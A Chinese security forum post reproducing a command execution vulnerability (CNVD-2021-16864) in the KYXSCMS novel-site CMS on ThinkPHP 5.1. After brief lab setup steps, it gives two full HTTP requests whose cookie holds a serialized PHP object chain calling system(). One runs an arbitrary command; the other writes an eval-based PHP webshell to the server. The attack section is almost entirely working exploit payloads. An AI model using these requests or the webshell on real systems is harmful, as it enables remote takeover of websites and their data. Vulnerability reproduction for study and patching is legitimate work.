用户
搜索
  • TA的每日心情
    开心
    2021-7-9 15:12
  • 签到天数: 1 天

    连续签到: 1 天

    [LV.1]初来乍到

    i春秋-呆萌菜鸟

    Rank: 1

    1

    主题

    1

    帖子

    37

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2019-10-28
    发表于 2021-7-9 14:50:02 0877
    本帖最后由 blankunbeaten 于 2021-7-9 14:51 编辑

    kyxscms框架命令执行

    kyxscms框架命令执行(CNVD-2021-16864)

    KYXSCMS提供一个轻量级小说网站解决方案,基于ThinkPHP5.1+MySQL的技术开发。

    KYXSCMS,灵活,方便,人性化设计简单易用是最大的特色,是快速架设小说类网站首选,只需5分钟即可建立一个海量小说的行业网站,批量采集目标网站数据或使用数据联盟,即可自动采集获取大量数据。内置标签模版,即使不懂代码的前端开发者也可以快速建立一个漂亮的小说网站。


    漏洞环境

    安装phpstudy

    然后下载kyxscms1.3.0的源码

    http://bbs.kyxscms.com/?t/1.html%E3%80%82

    根目录设置为源码的存放位

    然后在网站管理面添加伪静态

    然后就可以打开网站,出现安装向导代表成功


    影响版本

    kyxscms =< 1.3.0

    thinkphp=<5.1.33


    漏洞复现

    我们根据向导下一步,在数据库设置的时候密码为phpshtudy里数据库的密码.

    数据库生成后进入前台即可,

    首先我们注册账号,然后登陆进去抓包,poc为下

    GET /user/recentread HTTP/1.1
    Host: kyxscms:8081
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: PHPSESSID=4enrahv5gfh6gp0rkco864bh6j; lf___forward__=%2Fapi%2Fcrontab%2Findex; lf_user_auth=think%3A%7B%22uid%22%3A%221%22%2C%22username%22%3A%22blank%22%7D; lf_user_auth_sign=e93ece5c38646339207bed9799c931170e9959ff;lf_read_log=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22lin%22%3Bs%3A命令语句的长度%3A%22命令执行语句%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22lin%22%3Bs%3A6%3A%22system%22%3B%7D%7D%7D%7D
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0

    命令执行成功

    写入shell

    GET /user/index/index.html HTTP/1.1
    Host: localhost:8081
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: Phpstorm-11743061=7c75807e-0da5-4430-8229-b17234f7ff48; Webstorm-f8f6f435=146833d1-7a32-4b5f-b3ec-2e51c5287eb1; lf___forward__=%2F; lf_user_auth=think%3A%7B%22uid%22%3A%221%22%2C%22username%22%3A%22blank%22%7D; lf_user_auth_sign=e93ece5c38646339207bed9799c931170e9959ff;lf_read_log=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22lin%22%3Bs%3A42%3A%22echo+%22%3C%3Fphp+%40eval%28%24_POST%5Bedi%5D%29%3B%3F%3E%22%3Eedi.php%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22lin%22%3Bs%3A6%3A%22system%22%3B%7D%7D%7D%7D
    Upgrade-Insecure-Requests: 1

    上传利用成功

    发新帖
    您需要登录后才可以回帖 登录 | 立即注册